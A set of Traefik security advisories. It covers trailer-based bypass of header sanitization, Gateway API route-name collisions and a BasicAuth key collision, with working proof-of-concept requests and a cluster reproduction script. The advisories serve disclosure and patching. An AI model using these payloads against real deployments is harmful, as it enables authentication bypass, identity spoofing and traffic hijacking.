Traefik's entrypoint defenses against spoofed header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the forwardedHeaders handling that strips client-supplied X-Forwarded- — scan req.Header only and never req.Trailer, although the handlers' own comments promise to cover "header and trailer". An unauthenticated client can therefore deliver the aliasing name (XAuthUser, X.Auth.User) or the trusted name itself (X-Forwarded-Prefix, …) as an HTTP/1.1 chunked trailer or an HTTP/2 trailer: reject does not return its documented 400, delete does not remove the name, and the trailer form of an X-Forwarded- name passes exactly where the header form is stripped. When a body-buffering middleware is in the chain (retry with status codes, or the buffering middleware — both measured), the trailer travels with an attacker-chosen value; measured end-to-end against the trailer-merging component Ubuntu 24.04 ships (pre-fix libevent, CVE-2026-63379), the header X-Forwarded-Prefix: admin is stripped and denied while the identical name as a trailer is acted upon as admin (403 → 200). On bare proxy paths only the trailer name travels (no value), bounding those deployments to name-level effects.
Details
Root cause. All four entrypoint handlers iterate req.Header only — the doc comments promise more than the code does (pkg/server/serverentrypointtcp.go):
go // removeAliasingHeaders removes any request header and trailer whose name contains a character // which is neither a letter, a digit, nor a dash, as such a name aliases another header name. func removeAliasingHeaders(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { for key := range req.Header { // ← req.Trailer is never scanned if isAliasingHeaderName(key) { delete(req.Header, key) } } h.ServeHTTP(rw, req) }) }
rejectAliasingHeaders, removeHeadersWithUnderscores and rejectHeadersWithUnderscores share the identical structure (the reject variants return 400 from the same loop). The sibling sanitization forwardedheaders.DeleteXForwardedHeaders (pkg/middlewares/forwardedheaders/forwardedheader.go) also scans req.Header only, so the trusted X-Forwarded- names whose header form Traefik strips for untrusted clients — the managed XHeadersSet, which includes X-Forwarded-Prefix and X-Forwarded-For — survive in trailer form. Go's HTTP server populates req.Trailer from chunked/HTTP/2 trailers, and Traefik's proxy layer forwards those entries, bypassing the sanitization above.
Contract provenance. The "header and trailer" wording is in the original introducing diffs — 108a52644 (underscoreHeadersStrategy) and 0331801c (aliasHeadersStrategy) — and is unchanged in master (full diff excerpts available on request). The option began as allowHeadersWithUnderscores: false (per the CVE-2026-54763 record) before becoming underscoreHeadersStrategy and then aliasHeadersStrategy. The user-facing documentation describes only "request headers".
Mechanism (why names survive, and when values do too).
1. Name pre-fill at parse time. The client's Trailer: XAuthUser declaration makes Go's server move the declared keys into req.Trailer with nil values before the handler runs (net/http/transfer.go, fixTrailer); HTTP/2 does the same from the trailer: field in the initial HEADERS ("Setup Trailers", net/http/internal/httpcommon/httpcommon.go). The entrypoint handlers therefore cannot see the trailer name, but the proxy forwards it. Trailer keys are canonicalized with textproto.CanonicalMIMEHeaderKey, which treats dashes — not underscores — as case separators: the aliasing spelling survives canonicalization as e.g. Xauthuser (visible in the backend dumps in PoC §1) and remains detectable by isAliasingHeaderName, so the fix does not depend on the client's original spelling. 2. Value survival depends on who reads the body first. Trailer values are appended to req.Trailer only while the body is consumed (readTrailer / copyTrailersToHandlerRequest). On the bare path the reverse proxy calls Request.Clone at handler start, before any body read, so the clone captures nil values — on HTTP/1.1 the trailer field line is then omitted entirely (net/http/header.go, Header.writeSubset writes one line per value), and h2c delivers only the empty key. When a body-buffering middleware runs first, the order reverses: the retry middleware with status codes buffers the body via mirror.NewReusableRequest → io.ReadAll(req.Body) (pkg/middlewares/retry/retry.go, pkg/server/service/loadbalancer/mirror/mirror.go), the values are populated before http.Request.Clone, and they travel to the backend. Buffering triggers for idempotent methods with status alone; POST additionally requires retryNonIdempotentMethod (both measured). Retry and buffering are the two measured paths; the mirroring and failover services use the same mirror.NewReusableRequest helper (pkg/server/service/loadbalancer/mirror/mirror.go, failover/failover.go when errors.status is configured) and share its behavior (not measured). The buffering middleware drains the body eagerly before the proxy too: pkg/middlewares/buffering/buffering.go → oxy's multibuf.New → ioutil.ReadAll (github.com/mailgun/multibuf buffer.go; unset limits fall back to 1 MB DefaultMemBytes) — measured value-preserving with default limits. 3. Undeclared trailers: transit depends on whether anything else was declared (measured). On HTTP/2 the standard library server copies only pre-declared trailers ("Only copy it over it was pre-declared", net/http/internal/http2/server.go) — undeclared fields never appear. On HTTP/1.1 readTrailer parses the entire trailer section with no declaration filter, and mergeSetHeader either rebinds the map when nil (dst = src) or blindly merges when non-nil (point 4). The rebind is why zero-declaration requests lose undeclared fields at Traefik's observability req.WithContext shallow copy (pkg/middlewares/observability/observability.go, entrypoint.go) — measured: they never leave the entrypoint even on buffered chains. But a bait declaration (any clean name, e.g. X-Dummy) keeps the map non-nil, and the blind merge then writes the undeclared field into the shared map at body EOF — measured on the retry-buffered chain: the backend receives map[X-Dummy:[1] Xauthuser:[attacker-value]] and presence-based policies flip; the bare path is unaffected and delivers only map[X-Dummy:[]]. 4. Delete-mode stickiness depends on the merge semantics (measured). readTrailer merges parsed trailer fields via mergeSetHeader, whose non-nil branch is a blind maps.Copy (net/http/transfer.go) — a key deleted by a handler is re-added with its value at body EOF. Measured on a bare Go server (delete(r.Trailer, "Xauthuser") before draining the body): HTTP/1.1 — map[Xauthuser:[]] → map[Xauthuser:[attacker-value]] (re-added); HTTP/2 — map[Xauthuser:[]] → map[] (stays deleted: copyTrailersToHandlerRequest checks the live map).
Deliberate trailer-forwarding behavior (regression tests). Traefik deliberately does not forward request trailers on the bare proxy chain, locked by the regression tests pkg/proxy/httputil/trailertest.go and pkg/proxy/fast/trailertest.go (added 86b5642f, 2026-06-25; extended d427dccf, 2026-06-29): "trailers arrive after the body, once routing and security decisions have already been made, so forwarding them could raise security concerns in Traefik." The measured buffered-chain value survival (mechanism point 2) defeats exactly that locked invariant — the tests exercise only the bare chain — and the name-level h2c forwarding (empty keys) passes the tests' assertion (Header.Get is empty whether the key is absent or empty-valued): neither regression test catches this finding. The value-level path thus bypasses a deliberate, test-locked security invariant.
Preconditions.
1. An entrypoint whose sanitization is relied upon: aliasHeadersStrategy / underscoreHeadersStrategy set to delete or reject, or the default forwardedHeaders stripping of X-Forwarded- for untrusted clients. 2. A request carrying the name as a declared trailer (HTTP/1.1 chunked, or HTTP/2), or — on HTTP/1.1 buffered chains only — as an undeclared trailer field riding a bait declaration (mechanism point 3). 3. For downstream impact: a backend that merges trailers into its header namespace (pre-fix libevent CVE-2026-63379 — still what Ubuntu 24.04 ships —, pre-fix blaze CVE-2026-73495, or custom code) or consumes trailer fields in a trust decision. 4. For the value-level path: the retry middleware with status codes, the buffering middleware, or another body-buffering middleware, in the chain.
Precedent and scope. This is the next variant of Traefik's own aliasing family — CVE-2026-33433 (GHSA-qr99-7898-vr7c), CVE-2026-39858 (GHSA-5m6w-wvh7-57vm), CVE-2026-54763 (GHSA-x677-9fxg-v5c5) — and Traefik's Security Decisions state the in-scope line: "a spelling that survives the entrypoint sanitisation and still reaches the backend as the trusted name". The trailer spelling is precisely that. The downstream merge class is cross-ecosystem: libevent CVE-2026-63379 (run live in PoC §3) and blaze/http4s CVE-2026-73495 (GHSA-46q4-43ph-c6fr, fixed ef3e666).
Boundaries (measured). Declaring Content-Length, Transfer-Encoding or Trailer as trailer fields is rejected with 400 by Go's server; Host and Connection pass through name-level. The FastProxy forwarding mode (opt-in [experimental] fastProxy) does not forward trailers; the default reverse-proxy path for http:// backends does (PoC §3). HTTP/3 (quic-go) trailer semantics are untested. Undeclared trailers: HTTP/2 drops them entirely; on HTTP/1.1 they transit only via a bait declaration on buffered chains (mechanism point 3).
PoC
Verified against a source-built Traefik (master @ 237f13c6, built with Go 1.27.0; all harness backends built with Go 1.27.0 — the trailer behaviors cited in Details are version-sensitive net/http internals). Complete harness (clients, backends, configs, logs) available on request; the raw chunked requests below are HTTP/1.1 and reproducible with nc/python.
1. Core bypass (aliasHeadersStrategy = reject). Static config:
toml [entryPoints.web] address = ":8090" [entryPoints.web.http] aliasHeadersStrategy = "reject"
[providers.file] filename = "dynamic.toml" watch = true
dynamic.toml: router PathPrefix(/) → service → h2c://127.0.0.1:8081 (a Go echo backend that drains the body and prints r.Trailer). Requests (CRLF line endings; 5/0 are chunk sizes):
POST / HTTP/1.1 Host: 127.0.0.1:8090 Connection: close Transfer-Encoding: chunked Trailer: XAuthUser
5 hello 0 XAuthUser: attacker-value
Results:
header XAuthUser (curl -H "XAuthUser: x") → HTTP 400 (rejected, as designed) trailer XAuthUser (request above) → HTTP 200 (bypass: not rejected) trailer X.Auth.User → HTTP 200 (bypass) trailer X-Forwarded-Prefix → HTTP 200 (trusted-name trailer passes)
Backend evidence: TRAILERS: map[Xauthuser:[]], map[X.auth.user:[]], map[X-Forwarded-Prefix:[]]. The deprecated underscoreHeadersStrategy = "reject" behaves identically.
aliasHeadersStrategy = "delete" (same setup, delete in place of reject): header XAuthUser / X.Auth.User → 200, backend HEADERS contain neither (deleted, as designed); trailer XAuthUser → 200, backend TRAILERS: map[Xauthuser:[]] — the trailer form survives delete.
2. Bare-path downstream semantics (name-level). Same router, backend h2c://127.0.0.1:8082 running a trailer-merging backend (trailers folded over headers, CGI-style name normalization — the CVE-2026-63379 pattern) that authorizes /presence on the merged key and /value on X-Auth-User == "admin":
/presence, no trailer (control) → 403 DENIED /presence, trailer XAuthUser → 200 AUTHORIZED ← presence flip, empty value /value, header X-Auth-User: admin + trailer → merged-user="" ← legitimate value erased
3. Real CVE'd component flipped through Traefik — value-level. Backend: Ubuntu 24.04's libevent-2.1-7t64 2.1.12-stable-9ubuntu2 (pre-fix; the merge was fixed only in 2.1.13) plus a small (≈100-line) evhttp server that authorizes via evhttpfindheader(req->inputheaders, ...) (/prefix grants admin when X-Forwarded-Prefix == "admin"; server source available on request; build: gcc server.c -levent). Router adds the retry middleware:
toml [http.routers.lib] entryPoints = ["web"] rule = "PathPrefix(/)" service = "lib" middlewares = ["retry-lib"]
[http.middlewares.retry-lib.retry] attempts = 2 status = ["500-599"]
[http.services.lib.loadBalancer.servers] [http.services.lib.loadBalancer.servers.s1] url = "http://127.0.0.1:8083"
Measured matrix (server log shows the merged inputheaders):
| Request | Result through Traefik | |---|---| | header X-Forwarded-Prefix: admin | 403 DENIED — stripped by forwardedHeaders | | trailer X-Forwarded-Prefix: admin (chunked, declared; GET) | 200 ADMIN (prefix=admin) — log: X-Forwarded-Prefix: admin merged | | trailer XAuthUser: attacker-value (GET) | 200 AUTHORIZED (presence) — log: Xauthuser: attacker-value | | same trailer request, retry middleware removed (clean restart) | 403 DENIED — value dropped, field line omitted; log shows only Trailer: Xauthuser | | same trailer request, direct to libevent (no Traefik) | 200 ADMIN (prefix=admin) — CVE-2026-63379 baseline |
The value survives because the retry middleware buffers the body before the proxy clone (mechanism point 2). The same value path holds on h2c outbound (merge backend logs trailer=map[X-Auth-User:[admin]] → 200 AUTHORIZED (value=admin)) and with the buffering middleware in place of retry (/value trailer → 200 AUTHORIZED (value=admin), /xff trailer → 200 ADMIN).
Bait declaration (measured). Declaring a clean Trailer: X-Dummy while additionally sending the undeclared XAuthUser: attacker-value in the trailer section: on the retry-buffered chain the backend receives TRAILERS: map[X-Dummy:[1] Xauthuser:[attacker-value]] → 200 AUTHORIZED (presence policies flip on Xauthuser); the zero-declaration control still delivers map[]; the bare path delivers only map[X-Dummy:[]] (clone precedes the merge). Over HTTP/2 inbound with buffering (clienth2c through a retry chain with retryNonIdempotentMethod): backend trailer=map[Xauthuser:[attacker-value]] → 200 AUTHORIZED (presence).
X-Forwarded-For IP-trust (same chain, measured). Same router and retry middleware, backend h2c://127.0.0.1:8082 running the merge backend with an added /xff route that grants access when the merged X-Forwarded-For equals 203.0.113.7 — the classic IP-allowlist pattern:
header X-Forwarded-For: 203.0.113.7 → 403 DENIED (xff) backend log: merged XFF = "127.0.0.1" (Traefik stripped the client value and set its own) trailer X-Forwarded-For: 203.0.113.7 (GET, retry) → 200 ADMIN (xff) backend log: trailer=map[X-Forwarded-For:[203.0.113.7]] trailer X-Forwarded-For: 203.0.113.7 (POST, retry without retryNonIdempotentMethod → not buffered) → 403 DENIED — merged XFF empty (bare-path value drop)
4. Framing names and protocols. Trailer Content-Length, Host, Connection, Transfer-Encoding → 400 (Go rejects); Host, Connection → 200, backend TRAILERS: map[Connection:[] Host:[]]. HTTP/2 prior-knowledge client with trailer XAuthUser → Traefik → h2c backend: 200, backend TRAILERS: map[Xauthuser:[]] — same name-only outcome as PoC §2. HTTP/3 untested.
Impact
Kind of vulnerability. A bypass of Traefik's documented defenses against spoofed trusted names. reject promises a 400 and delete promises removal for aliasing names; forwardedHeaders strips client-supplied X-Forwarded- — and all of it applies to headers only, leaving the trailer channel open, with attacker-chosen values on body-buffering chains.
Who is impacted. Operators who enabled delete/reject to close the aliasing spoofing class (the documented mitigation for the CVE-2026-33433/39858/54763 family), and deployments whose backends trust X-Forwarded- names or proxy-set identity headers — including the classic X-Forwarded-For IP-trust pattern, where Traefik strips the client's XFF from headers while the trailer form reaches trailer-merging backends. No opt-in option is required for the X-Forwarded- path: the stripping is the default for untrusted clients. The value-level path additionally requires a body-buffering middleware (retry with status codes, or buffering) — mainstream documented features: the buffering middleware's documentation states that attaching it buffers the request body before forwarding, and the retry middleware's documentation example configures status = ["400","500-599"] — though no deployment telemetry is available to quantify their prevalence.
Verified harm scenarios.
1. Broken protection contract. Trailer-form aliasing names are neither rejected nor removed — the documented mitigation has a side door the operator believes is closed. 2. Presence-based authorization bypass. Trailer-merging upstreams authorizing on the presence of a trusted identity key flip their decision: 403 → 200 AUTHORIZED through Traefik on an h2c merge backend (PoC §2) and on the real pre-fix libevent component (PoC §3). 3. Value-level identity spoofing. On body-buffering chains the trailer carries the attacker's value: X-Forwarded-Prefix: admin delivered through Traefik authorizes as admin on the real CVE'd merge backend, while the identical header form is stripped and denied (PoC §3) — the CVE-2026-63379-class value injection chained through Traefik's own value-preserving middleware behavior. 4. Legitimate identity value erased. A trailer-merging upstream folds the empty trailer over the identity header — X-Auth-User: admin becomes empty in the merged view (PoC §2). This typically denies rather than grants; its relevance is the erasure primitive and availability of the legitimate identity. 5. Routing-header name channel. Host and Connection trailer fields pass Go's validation and reach the backend name-level (PoC §4); a trailer-merging upstream's virtual-host view is overwritten with an empty value.
Explicitly out of scope (verified). Value delivery requires a body-buffering middleware in the chain — on bare proxy paths values are dropped (PoC §3); the FastProxy path does not forward trailers; Content-Length/Transfer-Encoding/Trailer trailer fields are rejected with 400.
Recommended fix
Make the four entrypoint handlers and forwardedheaders.DeleteXForwardedHeaders iterate req.Trailer as well as req.Header — deleting matching trailer entries in delete mode and returning 400 in reject mode — at the exact place the header filtering already happens. The entrypoint stage sees every declared name (pre-filled before the handler) and covers all of HTTP/2 (undeclared fields are dropped by the stdlib server — mechanism point 3); reject returns 400 for those. On HTTP/1.1 buffered chains, names that appear only at body EOF — undeclared fields riding a bait declaration (mechanism point 3) and deleted keys re-added by the blind mergeSetHeader merge (mechanism point 4) — bypass the entrypoint stage, so the sanitization must be re-applied after the body's final read for both modes and for DeleteXForwardedHeaders; at that point the request may already be partially forwarded, so the second stage strips rather than rejects — reject deployments get delete-semantics for the late names. HTTP/3 (quic-go) may not pre-fill declared trailer keys before the handler at all (untested); there the post-body stage is the only certain defense. The fix sanitizes only the names the operator's policy targets — it does not drop the trailer channel, so legitimate trailers such as gRPC's grpc-status are unaffected.
</details>
---
Traefik is an HTTP reverse proxy and load balancer. In versions >= v2.8.2 through <= v2.11.55 and >= v3.0.0 through <= v3.7.11, the entryPoints.<name>.transport.respondingTimeouts settings — notably readTimeout, which is enabled by default at 60s — are not applied to the HTTP/3 request path. readTimeout is enforced as a deadline on the underlying TCP connection, which cannot be applied to a QUIC stream, and Traefik's HTTP/3 server is constructed without any timeout. As a result, on entry points with HTTP/3 enabled, an unauthenticated remote client that trickles request body bytes can hold a request open indefinitely and, with it, one upstream connection per request, exhausting bounded backend connection pools and causing denial of service. The issue was introduced in v2.8.2 when a quic-go API change removed the embedded http.Server that carried these timeouts. Fixed in v2.11.56 and v3.7.12.
Traefik is an HTTP reverse proxy and load balancer. In Traefik v1.x, v2.x through v2.11.55, and v3.0.0 through v3.7.11, header names are canonicalized only on dashes, so X-Auth-User, XAuthUser and X.Auth.User are treated as three distinct headers by Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX and others) collapse them into a single variable. A client can therefore smuggle a dot-form alias of a header that Traefik manages past the middleware managing it — for example supplying X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — causing such a backend to read the client-supplied value instead of the identity Traefik asserted. In the tested configuration (PHP 8.2 built-in SAPI over an HTTP/1 backend path), Go's lexical header ordering makes the attacker-supplied value win deterministically, so a client that ForwardAuth admits as a low-privilege identity can be treated by the backend as a different user or role. Any header Traefik sets is affected, not only ForwardAuth's. This is an incomplete fix for GHSA-x677-9fxg-v5c5, which blocked only the underscore form. Fixed in v2.11.56 and v3.7.12, which add the aliasHeadersStrategy entry-point option; because it defaults to 'keep' for backwards compatibility, it must be explicitly set to 'delete' or 'reject' for the fix to take effect. Unmaintained release lines will not receive a patch.
Traefik is a HTTP reverse proxy and load balancer. In versions >= v3.7.0 and <= v3.7.11, the Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the nginx.ingress.kubernetes.io/from-to-www-redirect annotation. For such Ingresses the provider creates an additional 'sibling' router that matches on the host alone, carries only the RedirectRegex middleware, and still points at the parent router's protected backend service. Because RedirectRegex is not a terminal handler, a request its pattern does not match is forwarded to the backend, and because the redirect pattern only accepts a numeric port while Traefik's host matcher canonicalizes the authority via net.SplitHostPort, a request with a non-numeric or empty port (for example 'Host: www.example.com:x') selects the sibling router, misses the redirect, and is proxied to the protected backend with none of the Ingress's annotation-derived middlewares applied. This discards not only authentication (e.g. BasicAuth) but every annotation-derived middleware, including source-IP allowlisting. Traefik v2 and v3 releases before v3.7.0 are not affected. The issue is fixed in v3.7.12.
Traefik versions >= v3.7.0 and <= v3.7.10 contain an authentication bypass in the Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the nginx.ingress.kubernetes.io/auth-tls-secret annotation was named after the Ingress namespace and name. As a result, two Ingress objects sharing the same host, the same client CA secret, and the same client-authentication mode produced two distinct TLS option names for that host. Traefik treats this as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" becomes reachable without a client certificate. Only the v3.7 line is affected; the issue is fixed in v3.7.11.
Traefik before v2.11.55 and v3.0.0 through v3.7.10 contain a TLS option conflict resolution vulnerability that allows unauthenticated attackers to bypass client-certificate authentication by creating conflicting TLS options on multi-host routers. Attackers can reach protected backends by exploiting shared TLS resolution across multiple hostnames in a single router rule, causing the strict mTLS requirement to fall back to default options for all hosts.
Traefik versions before v2.11.55 and versions v3.0.0 through v3.7.10 contain an authentication bypass vulnerability in the digestAuth middleware where unknown usernames receive an empty secret instead of rejection. Attackers can compute a valid digest response using the empty secret and arbitrary credentials to bypass authentication on any digestAuth-protected route without a valid username or password.
Traefik versions from v3.7.1 fail to enforce crossProviderNamespaces restrictions on the traefik.ingress.kubernetes.io/service.middlewares Service annotation in the Kubernetes Ingress provider. A namespace-limited tenant excluded from the allowlist can attach an operator-owned middleware to its Service, and if that middleware injects backend credentials, recover them at a controlled backend.
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective.
For example, HTTPRoutes team/a-app and team-a/app, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend.
The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules.
Details
The HTTPRoute provider creates a route key as follows:
go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, ))
Normalize replaces non-alphanumeric runs with -, but it does not encode field lengths or otherwise preserve component boundaries:
go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") }
These distinct objects therefore have the same normalized key:
text namespace=team, route=a-app namespace=team-a, route=app
httproute-team-a-app-gw-gateway-shared-ep-web-0
makeRouterName adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity.
Each Route is built into a temporary configuration and then merged into the provider-wide configuration with maps.Copy:
go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)
maps.Copy replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path.
Attack prerequisites
The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace.
Proof of Concept
Prerequisites:
- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - kubectl configured for that cluster; - curl; - local TCP port 18080 available.
The following script embeds all objects used by the reproduction. It runs the official traefik:v3.7.8 image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.
bash #!/usr/bin/env bash set -euo pipefail
kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIMBACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML
kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s
kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORTFORWARDPID=$! trap 'kill "$PORTFORWARDPID" 2>/dev/null || true' EXIT
for in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIMBACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE"
sleep 2
kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKERBACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML
kubectl -n team-a rollout status deployment/attacker --timeout=120s
kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML
for in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKERBACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE"
kubectl get httproute -A --sort-by=.metadata.creationTimestamp
Expected output on v3.7.8:
text before collision: VICTIMBACKEND after collision: ATTACKERBACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"]
The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
Impact
In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.
</details>
---
Summary
There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.
If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.
A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.
Details
The vulnerable logic is in pkg/middlewares/auth/basicauth.go:118-131:
go func (b basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret match, , := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { = b.checkSecret(password, b.notFoundSecret) return false, nil }
return b.checkSecret(password, secret), nil })
return match.(bool) }
For a configured user viewer:
text password = P secret = H key = P || H result = true
For an unconfigured user admin:
text password = P || H secret = "" key = (P || H) || "" = P || H
singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.
The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:
go req.URL.User = url.User(user)
if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.
Attack prerequisites
The attacker needs:
1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash.
The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.
The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.
Security impact
When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:
- access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation.
